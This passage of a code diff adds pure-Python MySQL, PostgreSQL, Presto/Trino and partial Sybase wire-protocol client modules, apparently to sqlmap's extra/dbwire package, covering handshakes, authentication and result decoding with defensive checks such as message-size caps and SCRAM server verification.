MySQL-wire family (MySQL, MariaDB, TiDB, Aurora-MySQL, Percona, ...). Auth: +mysql_native_password (full), plus caching_sha2_password fast path; caching_sha2 *full* auth over a +plaintext connection needs RSA (not in the stdlib), so that case raises a clean NotSupportedError - use a +mysql_native_password account (as MariaDB/TiDB default to) for the dependency-free path. +""" + +import hashlib +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import connection_lost +from extra.dbwire import handshake_done +from extra.dbwire import keepalive +from extra.dbwire import recvn +from extra.dbwire import ProgrammingError + +# capability flags +_CLIENT_LONG_PASSWORD = 0x00000001 +_CLIENT_LONG_FLAG = 0x00000004 +_CLIENT_CONNECT_WITH_DB = 0x00000008 +_CLIENT_PROTOCOL_41 = 0x00000200 +_CLIENT_TRANSACTIONS = 0x00002000 +_CLIENT_SECURE_CONNECTION = 0x00008000 +_CLIENT_PLUGIN_AUTH = 0x00080000 + +_MAX_PACKET = 0x1000000 +_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream +_BINARY_CHARSET = 63 # collation id 63 == 'binary' +# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/GEOMETRY family). +# Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form - +# they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435'). +_BINARY_TYPES = frozenset((15, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,*BLOB,VAR_STRING,STRING,GEOMETRY +_TYPE_BIT = 16 # BIT reports charset 63 but is decoded to a big-endian integer (matches SQLAlchemy/mysql-connector) + +def _xor(a, b): + if str is bytes: # Python 2 + return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) + return bytes(x ^ y for x, y in zip(a, b)) + +def _u8(data, off): + return struct.unpack(" _MAX_MESSAGE_LENGTH: + raise InterfaceError("backend message too large (%d bytes)" % total) + payload += recvn(sock, length) + return seq, payload + +def _send_packet(sock, seq, payload): + while True: # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet) + chunk = payload[:0xffffff] + try: + sock.sendall(struct.pack(" len(data): + raise InterfaceError("length-encoded string overruns packet") + return data[off:off + length], off + length + +def _err_message(payload): + # ERR packet: 0xff, Int2 code, (if PROTOCOL_41) '#' + 5-byte SQLSTATE, then message + off = 3 + if payload[3:4] == b"#": + off = 9 + return payload[off:].decode("utf-8", "replace") + +def _bit_int(value): + n = 0 # BIT arrives as a big-endian byte string + for b in bytearray(value): + n = (n << 8) | b + return n + +def _scramble_native(password, salt): + if not password: + return b"" + stage1 = hashlib.sha1(password.encode("utf-8")).digest() + stage2 = hashlib.sha1(stage1).digest() + return _xor(stage1, hashlib.sha1(salt + stage2).digest()) + +def _scramble_sha2(password, salt): + if not password: + return b"" + d1 = hashlib.sha256(password.encode("utf-8")).digest() + d2 = hashlib.sha256(hashlib.sha256(d1).digest() + salt).digest() + return _xor(d1, d2) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, self.rowcount = self.connection._query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # autocommit is enabled right after connect(), matching sqlmap's autonomous-statement model + + def rollback(self): + pass + + def close(self): + try: + _send_packet(self._sock, 0, b"\x01") # COM_QUIT + except Exception: + pass + try: + self._sock.close() + except Exception: + pass + + def _query(self, query): + _send_packet(self._sock, 0, b"\x03" + query.encode("utf-8")) # COM_QUERY + try: + return self._read_query_response() + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _read_query_response(self): + seq, payload = _read_packet(self._sock) + first = _u8(payload, 0) + + if first == 0xff: # ERR + raise ProgrammingError("(remote) %s" % _err_message(payload)) + if first == 0x00 or (first == 0xfe and len(payload) < 9): # OK packet (no result set) + affected, _ = _lenc_int(payload, 1) + return None, [], (affected if affected is not None else -1) + if first == 0xfb: # LOCAL INFILE request + raise NotSupportedError("LOCAL INFILE is not supported") + + column_count, _ = _lenc_int(payload, 0) + description, binary = [], [] + for _ in range(column_count): + _, cpay = _read_packet(self._sock) + off = 0 + for _ in range(4): # catalog, schema, table, org_table + _, off = _lenc_str(cpay, off) + name, off = _lenc_str(cpay, off) # name + _, off = _lenc_str(cpay, off) # org_name + _, off = _lenc_int(cpay, off) # length of the fixed-length block (0x0c) + charset = struct.unpack(" end of rows + break + if _u8(payload, 0) == 0xff: + raise ProgrammingError("(remote) %s" % _err_message(payload)) + off, row = 0, [] + for i in range(column_count): + value, off = _lenc_str(payload, off) + if value is None: + row.append(None) + elif description[i][1] == _TYPE_BIT: + row.append(str(_bit_int(value))) # big-endian integer, e.g. b'\x2a' -> '42' + elif binary[i]: + row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them) + else: + row.append(value.decode("utf-8", "replace")) + rows.append(tuple(row)) + return description, rows, len(rows) + +def _finish_auth(sock, password, plugin, salt): + # read the auth result, handling AuthSwitchRequest (0xfe) and AuthMoreData (0x01) for caching_sha2 + while True: + seq, payload = _read_packet(sock) + marker = _u8(payload, 0) + if marker == 0x00: # OK + return + if marker == 0xff: # ERR + raise OperationalError("(remote) %s" % _err_message(payload)) + if marker == 0xfe: # AuthSwitchRequest: \x00 + plugin, off = _cstring(payload, 1) + plugin = plugin.decode("ascii", "replace") + salt = payload[off:].rstrip(b"\x00") + if plugin == "mysql_native_password": + data = _scramble_native(password, salt) + elif plugin == "caching_sha2_password": + data = _scramble_sha2(password, salt) + else: + raise NotSupportedError("unsupported authentication plugin '%s'" % plugin) + _send_packet(sock, seq + 1, data) + elif marker == 0x01: # AuthMoreData (caching_sha2) + status = _u8(payload, 1) + if status == 0x03: # fast auth success -> OK packet follows + continue + elif status == 0x04: # full auth required (needs TLS or RSA - not available stdlib-only) + raise NotSupportedError("caching_sha2_password full authentication over a plaintext connection " + "requires RSA/TLS; use a mysql_native_password account for the dependency-free client") + else: + raise OperationalError("unexpected caching_sha2 auth status %d" % status) + else: + raise InterfaceError("unexpected authentication response 0x%02x" % marker) + +def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout) + keepalive(sock) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + try: + seq, payload = _read_packet(sock) + if _u8(payload, 0) == 0xff: + raise OperationalError("(remote) %s" % _err_message(payload)) + + off = 1 # protocol version (10) + _, off = _cstring(payload, off) # server version + off += 4 # connection id + salt = payload[off:off + 8]; off += 8 + 1 # auth-plugin-data part 1 (+ filler) + server_caps = _u16(payload, off); off += 2 # capability flags (lower) + off += 1 # character set + off += 2 # status flags + server_caps |= _u16(payload, off) << 16; off += 2 # capability flags (upper) + auth_data_len = _u8(payload, off); off += 1 + off += 10 # reserved + salt += payload[off:off + max(13, auth_data_len - 8) - 1] # part 2 (drop trailing NUL) + off += max(13, auth_data_len - 8) + plugin = "mysql_native_password" + if off < len(payload): + name, _ = _cstring(payload, off) + plugin = name.decode("ascii", "replace") or plugin + + if plugin == "caching_sha2_password": + auth_response = _scramble_sha2(password or "", salt) + else: + plugin = "mysql_native_password" + auth_response = _scramble_native(password or "", salt) + + # capabilities are NEGOTIATED: each side advertises what it can do and only the intersection is in + # play. Sending a fixed set makes the client claim features a proxy/fork/older server never offered, + # which is how a handshake ends up desynchronized rather than cleanly refused. + if not (server_caps & _CLIENT_PROTOCOL_41): + raise OperationalError("server does not support the 4.1 protocol, which this client requires") + wanted = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 | + _CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH) + if database: + wanted |= _CLIENT_CONNECT_WITH_DB + flags = wanted & server_caps + flags |= _CLIENT_PROTOCOL_41 | _CLIENT_SECURE_CONNECTION # mandatory for the packets built below + if database and not (flags & _CLIENT_CONNECT_WITH_DB): + raise OperationalError("server does not support selecting a database during the handshake") + if not (flags & _CLIENT_PLUGIN_AUTH): + plugin = None # pre-4.1.1 style: no trailing plugin name in the handshake response + response = struct.pack(" 'illegal mix of + # collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1 + # so DML persists even if the server default is autocommit=0. Best-effort (one-time, at connect) - but the + # charset has to land on *something*, else rows decode as utf-8 that never was: pre-5.5.3 servers have no + # utf8mb4, and 'utf8' (3-byte) is the fallback every 4.1+ server does have. + for alternatives in (("SET NAMES utf8mb4", "SET NAMES utf8"), ("SET autocommit=1",)): + for setup in alternatives: + try: + connection._query(setup) + break + except Exception: + pass + return connection + +def _safe_close(sock): + try: + sock.close() + except Exception: + pass diff --git a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py new file mode 100644 index 00000000000..30d36ca8bb4 --- /dev/null +++ b/extra/dbwire/postgres.py @@ -0,0 +1,331 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only). + +Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica). +Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose +per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and +commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the +server's readable '\\xHEX' text (text result format), so no memoryview/blob corruption either. +""" + +import base64 +import binascii +import hashlib +import hmac +import os +import socket +import struct + +from extra.dbwire import DataError +from extra.dbwire import IntegrityError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import connection_lost +from extra.dbwire import handshake_done +from extra.dbwire import keepalive +from extra.dbwire import recvn +from extra.dbwire import ProgrammingError + +_PROTOCOL_VERSION = 196608 # 3.0 +_MAX_MESSAGE_LENGTH = 0x40000000 # 1 GB - guard against a hostile/corrupt length triggering an unbounded read +_OID_BYTEA = 17 # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver + +def _decode_bytea(raw): + # PG text output: modern 'hex' = b'\\x'; legacy 'escape' = octal \ooo + literal bytes + if raw[:2] == b"\\x": + try: + return binascii.unhexlify(raw[2:]) + except (binascii.Error, ValueError): + return raw.decode("utf-8", "replace") + src, out, i, n = bytearray(raw), bytearray(), 0, len(raw) + while i < n: + if src[i] == 0x5c and i + 1 < n: # backslash + nxt = src[i + 1] + if nxt == 0x5c: + out.append(0x5c); i += 2 + elif 0x30 <= nxt <= 0x37 and i + 3 < n: # \ooo octal + out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4 + else: + out.append(nxt); i += 2 + else: + out.append(src[i]); i += 1 + return bytes(out) + +# SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2) +_SQLSTATE_CLASS = { + "22": DataError, "23": IntegrityError, + "08": OperationalError, "28": OperationalError, "53": OperationalError, + "57": OperationalError, "58": OperationalError, +} + +def _xor(a, b): + # byte-wise XOR of two equal-length byte strings (Python 2 and 3 safe) + if str is bytes: # Python 2: iterating bytes yields 1-char strings + return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) + return bytes(x ^ y for x, y in zip(a, b)) + +def _read_message(sock): + mtype = recvn(sock, 1) + (length,) = struct.unpack("!I", recvn(sock, 4)) + if length < 4 or length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid backend message length (%d)" % length) + return mtype, recvn(sock, length - 4) + +def _send(sock, mtype, payload): + try: + sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload) + except (socket.error, OSError) as ex: + raise connection_lost(ex) + +def _error_message(payload): + # ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte. + # Returns (human message, SQLSTATE). Tolerant of a truncated/unterminated stream (find() not index()). + fields, off = {}, 0 + while off < len(payload) and payload[off:off + 1] != b"\x00": + code = payload[off:off + 1] + end = payload.find(b"\x00", off + 1) + if end == -1: + break + fields[code] = payload[off + 1:end].decode("utf-8", "replace") + off = end + 1 + return fields.get(b"M", "unknown error"), fields.get(b"C", "") + +def _raise_server_error(message, sqlstate): + raise _SQLSTATE_CLASS.get((sqlstate or "")[:2], ProgrammingError)("(remote) %s" % message) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 # reset before (a failed) query + self.description, self._rows, self._pos, self.rowcount = self.connection._simple_query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + self._txn_status = b"I" # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror) + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # simple-query protocol commits each statement implicitly + + def rollback(self): + pass + + def close(self): + try: + _send(self._sock, b"X", b"") # Terminate + except Exception: + pass + try: + self._sock.close() + except Exception: + pass + + def _clear_aborted(self): + # a prior statement left an aborted transaction block ('E'): every further statement errors with + # 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics). + _send(self._sock, b"Q", b"ROLLBACK\x00") + while True: + mtype, payload = _read_message(self._sock) + if mtype == b"Z": + self._txn_status = payload[:1] or b"I" + break + + def _simple_query(self, query): + if self._txn_status == b"E": + self._clear_aborted() + _send(self._sock, b"Q", query.encode("utf-8") + b"\x00") + + description, rows, rowcount, error = None, [], -1, None + while True: + mtype, payload = _read_message(self._sock) + try: + if mtype == b"T": # RowDescription (a new result set: reset rows so we return only the last one) + (count,) = struct.unpack("!H", payload[:2]) + description, rows, rowcount, off = [], [], -1, 2 + for _ in range(count): + end = payload.index(b"\x00", off) + name = payload[off:end].decode("utf-8", "replace") + off = end + 1 + (typeoid,) = struct.unpack("!I", payload[off + 6:off + 10]) + off += 18 # tableoid4 colno2 typeoid4 typelen2 typmod4 format2 + description.append((name, typeoid, None, None, None, None, None)) + elif mtype == b"D": # DataRow + (count,) = struct.unpack("!H", payload[:2]) + off, row = 2, [] + for col in range(count): + (vlen,) = struct.unpack("!i", payload[off:off + 4]) + off += 4 + if vlen == -1: + row.append(None) + else: + if off + vlen > len(payload): + raise InterfaceError("truncated DataRow") + raw = payload[off:off + vlen] + off += vlen + if description and col < len(description) and description[col][1] == _OID_BYTEA: + row.append(_decode_bytea(raw)) # bytes so sqlmap hex-encodes it (like the native driver) + else: + try: + row.append(raw.decode("utf-8")) + except UnicodeDecodeError: + row.append(raw) # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD + rows.append(tuple(row)) + elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...) + tag = payload[:-1].decode("utf-8", "replace").split() + if tag and tag[-1].isdigit(): + rowcount = int(tag[-1]) + elif mtype == b"G": # CopyInResponse - server now waits for client CopyData; refuse to avoid a deadlock + _send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail + elif mtype == b"E": # ErrorResponse + error = _error_message(payload) + elif mtype == b"Z": # ReadyForQuery (end of response); payload byte = transaction status + self._txn_status = payload[:1] or b"I" + break + # ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed backend message: %s" % ex) + if error is not None: + _raise_server_error(*error) + return description, rows, 0, rowcount + +def _authenticate(sock, user, password): + client_nonce = cfirst_bare = salted = auth_message = None + while True: + mtype, payload = _read_message(sock) + if mtype in (b"N", b"S"): # NoticeResponse / ParameterStatus may legally precede AuthenticationOk + continue + if mtype == b"E": + _raise_server_error_as_operational(payload) + if mtype != b"R": + raise InterfaceError("unexpected message %r during authentication" % mtype) + (code,) = struct.unpack("!I", payload[:4]) + if code == 0: # AuthenticationOk (also the trust case) + return + elif code == 3: # cleartext password + _send(sock, b"p", (password or "").encode("utf-8") + b"\x00") + elif code == 5: # MD5 password + salt = payload[4:8] + inner = hashlib.md5((password or "").encode("utf-8") + (user or "").encode("utf-8")).hexdigest() + token = b"md5" + hashlib.md5(inner.encode("ascii") + salt).hexdigest().encode("ascii") + _send(sock, b"p", token + b"\x00") + elif code == 10: # SASL (SCRAM-SHA-256) + if not hasattr(hashlib, "pbkdf2_hmac"): + raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)") + client_nonce = base64.b64encode(os.urandom(18)).decode("ascii") + cfirst_bare = "n=,r=%s" % client_nonce + client_first = "n,," + cfirst_bare + _send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii")) + elif code == 11: # SASLContinue (server-first) + try: + server_first = payload[4:].decode("ascii") + attrs = dict(kv.split("=", 1) for kv in server_first.split(",")) + snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"]) + except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex: + raise OperationalError("malformed SCRAM server-first message (%s)" % ex) + # RFC 5802 5.1: the server nonce MUST start with the client nonce and MUST add material of its + # own. Skipping this lets anything that can answer the TCP connection replay a recorded + # server-first and drive the exchange - and dbwire has no TLS layer underneath to catch it. + if not client_nonce or not snonce.startswith(client_nonce) or len(snonce) <= len(client_nonce): + raise OperationalError("SCRAM server nonce does not extend the client nonce (rogue server?)") + if iterations < 4096: # RFC 5802 recommends >= 4096; a tiny count cheapens an offline attack + raise OperationalError("SCRAM iteration count %d is too low" % iterations) + salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations) + client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest() + stored_key = hashlib.sha256(client_key).digest() + client_final_noproof = "c=biws,r=%s" % snonce + auth_message = "%s,%s,%s" % (cfirst_bare, server_first, client_final_noproof) + client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest() + proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii") + _send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii")) + elif code == 12: # SASLFinal (server-final): verify the server too, or the handshake is one-way + # Without this the client proves itself to the server and simply trusts whatever answers back. + # ServerSignature = HMAC(ServerKey, AuthMessage) can only be produced by a peer that holds the + # stored credentials, so comparing it is what makes the exchange mutual (RFC 5802 5, 5.1). + if salted is None or auth_message is None: + raise OperationalError("unexpected SCRAM server-final message") + try: + attrs = dict(kv.split("=", 1) for kv in payload[4:].decode("ascii").split(",")) + except (ValueError, UnicodeDecodeError) as ex: + raise OperationalError("malformed SCRAM server-final message (%s)" % ex) + if "e" in attrs: + raise OperationalError("SCRAM authentication failed (%s)" % attrs["e"]) + try: + signature = base64.b64decode(attrs["v"]) + except (KeyError, binascii.Error, ValueError) as ex: + raise OperationalError("malformed SCRAM server signature (%s)" % ex) + server_key = hmac.new(salted, b"Server Key", hashlib.sha256).digest() + expected = hmac.new(server_key, auth_message.encode("ascii"), hashlib.sha256).digest() + if not hmac.compare_digest(signature, expected): + raise OperationalError("SCRAM server signature mismatch (rogue server?)") + else: + raise InterfaceError("unsupported authentication request %d" % code) + +def _raise_server_error_as_operational(payload): + message, _ = _error_message(payload) + raise OperationalError("(remote) %s" % message) + +def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout) + keepalive(sock) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + params = b"" + for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")): + params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00" + params += b"\x00" + + try: + _send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params) # StartupMessage + _authenticate(sock, user, password) + while True: # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse) + mtype, payload = _read_message(sock) + if mtype == b"E": + _raise_server_error_as_operational(payload) + if mtype == b"Z": + break + handshake_done(sock) + except Exception: # any setup failure (DB-API or otherwise) must still close the socket + try: + sock.close() + except Exception: + pass + raise + + return Connection(sock) diff --git a/extra/dbwire/presto.py b/extra/dbwire/presto.py new file mode 100644 index 00000000000..7ec447f0c88 --- /dev/null +++ b/extra/dbwire/presto.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Presto/Trino client over its native HTTP/REST interface (stdlib only, no +presto-python-client). A query is POSTed to /v1/statement; the server returns JSON pages carrying +'columns'/'data' and a 'nextUri' to poll until the statement finishes. Both X-Presto-* and X-Trino-* +headers are sent so the same client works against Presto and Trino. +""" + +import base64 +import json +import socket + +try: + from urllib.request import Request, urlopen # Python 3 + from urllib.error import HTTPError, URLError +except ImportError: + from urllib2 import Request, urlopen, HTTPError, URLError # Python 2 + +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import http_origin +from extra.dbwire import ProgrammingError + +def _convert(value, coltype): + # normalize Presto/Trino JSON cells for sqlmap: VARBINARY arrives base64-encoded (decode to bytes so + # direct()'s binary handling hex-encodes it), ARRAY/MAP/ROW arrive as JSON structures (serialize to text) + if value is None: + return value + if coltype.startswith("varbinary"): + try: + return base64.b64decode(value) + except Exception: + return value + if isinstance(value, (list, dict)): + return json.dumps(value) + return value + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +def _split_pair(item): + """'key=value' -> (key, value); a bare 'key' keeps a None value (Trino sends both forms).""" + + key, sep, value = item.strip().partition("=") + return key.strip(), (value.strip() if sep else None) + + +class Connection(object): + def __init__(self, host, port, user, password, catalog, schema, timeout): + self._statement_url = "%s/v1/statement" % http_origin(host, port) + self._timeout = timeout + self._headers = {"Content-Type": "text/plain"} + for prefix in ("X-Presto-", "X-Trino-"): + self._headers[prefix + "User"] = user or "sqlmap" + self._headers[prefix + "Source"] = "dbwire" + # only send Catalog/Schema when supplied: a Schema without a Catalog makes Trino reject every + # request ("Schema is set but catalog is not"), so never force a "default" schema + if catalog: + self._headers[prefix + "Catalog"] = catalog + if schema: # only inside the catalog branch: a Schema alone is rejected + self._headers[prefix + "Schema"] = schema + if password: + token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii") + self._headers["Authorization"] = "Basic %s" % token + + def cursor(self): + return Cursor(self) + + def commit(self): + pass + + def rollback(self): + pass + + def close(self): + pass # HTTP is stateless + + def _apply_state(self, info): + """ + Carry the session state the server hands back into the headers of every later request. + + The client protocol is stateless on the wire, so the SERVER cannot remember anything: it reports + each change as a response header and the client is required to echo it back. Ignoring them makes + 'USE', 'SET SESSION', 'SET ROLE' and 'START TRANSACTION' appear to succeed and then silently have + no effect on the next statement. + """ + + for prefix in ("X-Presto-", "X-Trino-"): + for suffix, header in (("Catalog", "Catalog"), ("Schema", "Schema"), ("Path", "Path")): + value = info.get((prefix + "Set-" + suffix).lower()) + if value: + self._headers[prefix + header] = value + started = info.get((prefix + "Started-Transaction-Id").lower()) + if started: + self._headers[prefix + "Transaction-Id"] = started + if info.get((prefix + "Clear-Transaction-Id").lower()): + self._headers.pop(prefix + "Transaction-Id", None) + # Set-Session / Set-Role accumulate as comma-separated 'key=value' pairs, and the matching + # Clear-* header removes one by name + for kind in ("Session", "Role"): + current = dict(_split_pair(_) for _ in (self._headers.get(prefix + kind) or "").split(",") if _) + for item in (info.get((prefix + "Set-" + kind).lower()) or "").split(","): + if item.strip(): + key, value = _split_pair(item) + current[key] = value + for key in (info.get((prefix + "Clear-" + kind).lower()) or "").split(","): + current.pop(key.strip(), None) + if current: + self._headers[prefix + kind] = ",".join("%s=%s" % (k, v) if v is not None else k for k, v in sorted(current.items())) + else: + self._headers.pop(prefix + kind, None) + + def _request(self, url, data=None): + req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers) + try: + response = urlopen(req, timeout=self._timeout) + body = response.read().decode("utf-8", "replace") + except HTTPError as ex: + raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200])) + except URLError as ex: + raise OperationalError("(remote) %s" % ex) + except (socket.timeout, socket.error) as ex: + raise OperationalError("(remote) %s" % ex) + info = response.info() + self._apply_state(dict((k.lower(), v) for k, v in (info.items() if hasattr(info, "items") else []))) + try: + return json.loads(body) + except ValueError as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _query(self, query): + page = self._request(self._statement_url, data=query) + columns, rows, types = None, [], [] + while True: + if page.get("error"): + message = page["error"].get("message", "unknown error") + raise ProgrammingError("(remote) %s" % message) + if page.get("columns") and columns is None: + columns = [(c.get("name"), c.get("type"), None, None, None, None, None) for c in page["columns"]] + types = [(c.get("type") or "") for c in page["columns"]] + for row in page.get("data") or []: + rows.append(tuple(_convert(v, types[i] if i < len(types) else "") for i, v in enumerate(row))) + next_uri = page.get("nextUri") + if not next_uri: + break + page = self._request(next_uri) + return columns, rows + +def connect(host=None, port=8080, user=None, password=None, database=None, connect_timeout=None, schema=None, **kwargs): + connection = Connection(host or "localhost", int(port or 8080), user, password, database, schema, connect_timeout) + try: + connection._query("SELECT 1") # verify connectivity/credentials + except ProgrammingError: + raise + except Exception as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + return connection diff --git a/extra/dbwire/sybase.py b/extra/dbwire/sybase.py new file mode 100644 index 00000000000..b0f424a7bf0 --- /dev/null +++ b/extra/dbwire/sybase.py @@ -0,0 +1,429 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Sybase ASE client speaking TDS 5.0 (stdlib only, no pymssql/FreeTDS). + +Sybase and Microsoft share the 8-byte TDS packet framing (reused from tds.py) and part company at the +login: ASE speaks TDS 5.0, which means a fixed-layout LOGINREC instead of LOGIN7, a capability +negotiation, SQL sent as a LANGUAGE token in a normal packet, and results described by ROWFMT rather than +COLMETADATA. Cleartext login only. Read-oriented for sqlmap: execute() takes a fully-formed query string, +binary values come back as bytes (sqlmap hex-encodes them). + +Two encodings look like their Microsoft namesakes and are not: DECIMAL/NUMERIC carries a big-endian +magnitude with 1 meaning *negative* (Microsoft is little-endian with 1 meaning positive), and DONE reports +a 4-byte row count (Microsoft uses 8). +""" + +import os +import re +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import IntegrityError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import handshake_done +from extra.dbwire import keepalive +from extra.dbwire import ProgrammingError + +# the packet framing is byte-identical to the Microsoft dialect - only what travels inside it differs +from extra.dbwire.tds import _decode_datetime +from extra.dbwire.tds import _decode_money +from extra.dbwire.tds import _decode_smalldatetime +from extra.dbwire.tds import _read_message +from extra.dbwire.tds import _send_message + +_PKT_LOGIN = 0x02 +_PKT_NORMAL = 0x0f +_LOGIN_CHUNK = 504 # the login travels in 512-byte packets: the server's buffer is not negotiated yet +_PACKET_SIZE = 2048 # ASE's default 'max network packet size'; a bigger request is negotiated down +_HEADER_SIZE = 8 + +# tokens +_TOKEN_LANGUAGE = 0x21 +_TOKEN_ROWFMT = 0xee +_TOKEN_ROWFMT2 = 0x61 +_TOKEN_ROW = 0xd1 +_TOKEN_CAPABILITY = 0xe2 +_TOKEN_ENVCHANGE = 0xe3 +_TOKEN_EED = 0xe5 +_TOKEN_RETURNSTATUS = 0x79 +_TOKEN_LOGOUT = 0x71 +_TOKEN_DONE = frozenset((0xfd, 0xfe, 0xff)) # DONE / DONEPROC / DONEINPROC +_DONE_COUNT = 0x0010 # DONE status bit: the row count is meaningful +_ENV_PACKET_SIZE = 4 # ENVCHANGE type: the server's answer to the requested size + +# SYB* datatype codes. Fixed-length types carry no per-value length; everything else is 